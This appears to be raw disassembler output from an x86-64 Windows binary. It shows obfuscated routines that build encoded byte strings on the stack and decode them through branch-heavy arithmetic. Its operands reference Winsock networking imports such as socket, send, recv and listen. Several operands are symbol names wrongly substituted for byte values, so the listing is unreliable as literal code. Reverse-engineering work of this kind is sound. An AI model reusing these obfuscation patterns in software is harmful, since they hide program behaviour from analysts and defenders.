movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x10
jmp 0x140085280
lea rcx, [rbp + 0x17b6170]
jmp 0x140085e5a
lea rcx, [rbp + 0x1597e40]
jmp 0x140085e5a
lea rcx, [rbp + 0x5b0]
lea rdx, [0x1401de736]
call fcn.1400393c0
mov byte [rbp + 0x3a0], 1
mov byte [rbp + 0x3a1], 0x3f
mov byte [rbp + 0x3a2], 0x2b
mov byte [rbp + 0x3a3], 0x25
mov byte [rbp + 0x3a4], 0x3c
mov byte [rbp + 0x3a5], 0x24
mov byte [rbp + 0x3a6], 0x76
mov byte [rbp + 0x3a7], 8
mov byte [rbp + 0x3a8], 0x23
mov byte [rbp + 0x3a9], gethostname
mov byte [rbp + 0x3aa], 0x26
mov byte [rbp + 0x3ab], 0x3e
mov byte [rbp + 0x3ac], 0x2c
mov byte [rbp + 0x3ad], 0x22
mov byte [rbp + 0x3ae], 0x2c
mov byte [rbp + 0x3af], 0x5f
xor eax, eax
mov dword [rbp + 0x3b0], eax
mov byte [rbp + 0x3b4], al
movabs rsi, 0x4f19d74f2a16354a
movabs r15, 0x29b4e32a269b7506
movabs r14, 0xed4d85ed7e429fde
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x15
jae 0x140086ae7
movzx r9d, byte [rbp + r10 + 0x3a0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x140086adb
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140085f73
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 6
jmp 0x140085fa0
je 0x140086a68
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400869d7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008697f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140086938
cmp r8, r10
ja 0x140086acf
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140085fce
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
jmp 0x140086002
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140086915
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400868f0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400868d4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400868a3
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140086596
nop
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140086573
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14008654b
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140086526
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140086503
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400864e4
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400864c5
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400864a6
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140086487
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140086456
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140086010
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x41]
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140086ab2
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140086a95
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400861f9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400861de
lea rcx, [r8 + 0x80]
cmp rbx, rcx
jb 0x1400861c3
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140086406
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x1400863ba
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008637a
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140086354
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140086010
mov rbx, rcx
lea r8, [rcx + 0x64]
lea rax, [r8 + 0x42]
cmp rcx, rax
ja 0x140086323
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x140086304
lea rax, [r8 + 0x400]
cmp rcx, rax
ja 0x1400862e5
lea rax, [r8 + 1]
cmp rcx, rax
ja 0x1400862c6
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x1400862a7
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x140086284
lea rax, [r8 + 0x40]
cmp rcx, rax
ja 0x14008625f
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x140086237
lea rax, [r8 + 0x3e8]
cmp rcx, rax
ja 0x140086214
lea rax, [r8 + 0x2a]
cmp rcx, rax
ja 0x140086010
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x41]
jmp 0x140086010
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
jmp 0x140086002
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x36
jmp 0x140085fa0
lea ecx, [r10 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
jmp 0x140085f36
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140086952
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140085f23
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140085f23
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140086999
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400869bb
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400869be
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400869f5
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, r9b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086a21
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085f23
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
mov byte [rbp + r10 + 0x3a0], dil
inc r10
jmp 0x140085f23
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
cmp r8, 4
jb 0x14008636a
movzx r11d, r10b
lea edx, [r11 + 0x7c]
movzx eax, r9b
and al, dl
mov ecx, select
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140086952
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
cmp rbx, 0x28
jae 0x140086862
lea rax, [r8 + 0x1000]
cmp rbx, rax
jbe 0x140086776
lea edx, [r10 - 0x4c]
movzx eax, r9b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140086390
lea ecx, [r10 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
lea rax, [r8 + rbx]
cmp rax, 4
je 0x14008688d
lea rcx, [r8 + 3]
cmp rbx, rcx
jbe 0x1400866a7
lea edx, [r10 - 0x5e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6e
add dil, dl
jmp 0x1400863d0
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085f23
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086a21
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400869f5
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400869be
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400869bb
movzx r11d, r10b
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086999
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140085f23
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140085f23
movzx r11d, r10b
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140086952
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x1400865c1
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14008641c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400865fb
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085f23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140086623
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x1400869f5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008664b
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x1400869be
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140086677
movzx r11d, r10b
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x140086999
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008641c
movzx r11d, r10b
lea edx, [r11 - 0x3c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5c
add dil, dl
jmp 0x140086952
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400866d7
movzx r11d, r10b
lea edx, [r11 + 0x36]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7a
add dil, dl
jmp 0x140086952
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008670c
lea edx, [r10 - 0x36]
movzx eax, r9b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x140085f23
cmp rbx, rcx
jne 0x140086738
movzx r11d, r10b
lea edx, [r11 - 0xe]
movzx eax, r9b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140086999
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400863d0
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085f23
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400867b0
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085f23
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400867d9
lea edx, [r10 + 0x70]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x10
jmp 0x1400869f2
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140086802
lea ecx, [r10 + 4]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x1c
jmp 0x1400869be
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140086832
movzx r11d, r10b
lea edx, [r11 + 0x2c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x34
add dil, dl
jmp 0x140086999
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140086390
movzx r11d, r10b
lea edx, [r11 - 0x18]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x58
add dil, dl
jmp 0x140086952
movzx r11d, r10b
lea edx, [r11 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, byte [rbp + r10 + 0x3a0]
sub dil, al
sub dil, 0x70
add dil, r9b
add dil, dl
jmp 0x140086999
lea ecx, [r10 - 0x5c]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x7c]
jmp 0x1400869f5
lea edx, [r10 + 0x46]
movzx eax, r9b
and al, dl
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085f23
lea edx, [r10 + 0x1e]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400869f2
lea edx, [r10 - 0x32]
movzx eax, r9b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x140085f23
movzx r11d, r10b
lea edx, [r11 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140086952
movzx r11d, r10b
lea ecx, [r11 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
sub r11b, 0x3a
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x6a
add r9b, r11b
mov byte [rbp + r10 + 0x3a0], r9b
inc r8
dec r10
inc r10
jmp 0x140085f23
movzx r11d, r10b
lea ecx, [r11 - 0x3e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4e
add r11b, 0x5a
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x76
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x3a0], r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140085f23
lea rdx, [r10 + r15]
movzx r9d, r11b
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x2a
add dil, dl
lea edx, [r10 - 0x12]
movzx eax, r9b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x3a0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x3a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085f23
lea rcx, [r10 + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x12
movzx eax, byte [rbp + r10 + 0x3a0]
add rax, r8
add r10, rax
inc r10
jmp 0x140085f23
add r10b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
jmp 0x140085f20
sub r10b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
jmp 0x140085f07
lea rcx, [rbp + 0x16bd158]
jmp 0x140086aee
lea rcx, [rbp + 0x10206a2]
jmp 0x140086aee
lea rcx, [rbp + 0x3a0]
lea rdx, [0x1401dc6cc]
call fcn.1400393c0
mov byte [rbp + 0x5e0], WSAStartup
mov byte [rbp + 0x5e1], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x5e2], 0x9b
mov byte [rbp + 0x5e3], 0x99
mov byte [rbp + 0x5e4], __WSAFDIsSet
mov byte [rbp + 0x5e5], 0x9a
mov byte [rbp + 0x5e6], 0x5c
mov byte [rbp + 0x5e7], 0x77
mov byte [rbp + 0x5e8], 0x99
mov byte [rbp + 0x5e9], 0x82
mov byte [rbp + 0x5ea], 0x84
mov byte [rbp + 0x5eb], 0x43
mov byte [rbp + 0x5ec], 0x67
mov byte [rbp + 0x5ed], 0x8e
mov byte [rbp + 0x5ee], 0xb6
mov byte [rbp + 0x5ef], 0x82
mov byte [rbp + 0x5f0], 0x8a
mov byte [rbp + 0x5f1], 0x8e
mov byte [rbp + 0x5f2], 0x28
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x5f3], xmm0
mov qword [rbp + 0x603], rax
mov word [rbp + 0x60b], ax
movabs rsi, 0x6715e72a72355907
movabs r14, 0x3541b57f56a00b15
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x2d
jae 0x1400876ae
movzx r9d, byte [rbp + r10 + 0x5e0]
mov rdx, r9
nop dword [rax + rax]
cmp rbx, r10
ja 0x1400876a2
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140086c13
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x31
jmp 0x140086c33
je 0x140087631
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400875d9
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400875b8
cmp r8, r10
ja 0x140087696
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x140086c64
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 5
jmp 0x140086c90
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140087576
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140087555
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140087528
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400871b3
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140087195
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140087171
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14008714c
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14008712d
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14008710e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400870ef
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400870d0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400870b1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140087084
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140086ca0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140087679
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14008765c
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140086e7c
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140086e61
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140086e46
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140087035
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140086fc3
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140086ca0
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140086f96
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140086f7b
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140086f58
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140086f3d
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140086f1e
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140086eff
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140086ede
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140086eb6
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140086e97
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140086ca0
lea rbx, [r8 + 0x40]
lea r8, [rbx + 9]
jmp 0x140086ca0
lea ecx, [r10 - 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x65
jmp 0x140086c90
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x39
jmp 0x140086c33
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
jmp 0x140086bd8
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
movzx edx, r10b
jmp 0x14008758f
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140086bc5
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
dec r10
inc r10
jmp 0x140086bc5
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
movzx r11d, r10b
jmp 0x1400875f3
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140087615
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x140087618
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x1400874b5
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
jmp 0x1400874e1
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
movzx eax, byte [rbp + r10 + 0x5e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140086bc5
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5f
cmp rbx, 0x42
jae 0x14008746c
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x140087371
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r9b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 6
jb 0x14008745c
movzx edx, r10b
lea ecx, [rdx - 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0xc]
jmp 0x14008758f
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
lea rax, [r8 + rbx]
cmp rax, 0x40
je 0x140087493
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14008729c
lea ecx, [r10 - 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x53
jmp 0x140086fd9
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
movzx eax, byte [rbp + r10 + 0x5e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140086bc5
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400874e1
movzx r11d, r10b
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x1400874b5
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140087618
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140087615
movzx r11d, r10b
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x1400875f3
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140086bc5
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r8
dec r10
inc r10
jmp 0x140086bc5
movzx edx, r10b
lea ecx, [rdx + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x14008758f
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x1400871de
lea ecx, [r10 + 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x31
jmp 0x14008704b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140087218
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xa
movzx eax, byte [rbp + r10 + 0x5e0]
add rax, r8
add r10, rax
inc r10
jmp 0x140086bc5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140087248
movzx r11d, r10b
lea edx, [r11 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400874b5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140087270
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140087618
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008704b
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140087615
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400872c7
movzx edx, r10b
lea ecx, [rdx - 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xf
jmp 0x14008758f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400872f5
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
dec r10
inc r10
jmp 0x140086bc5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008731d
lea ecx, [r10 - 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
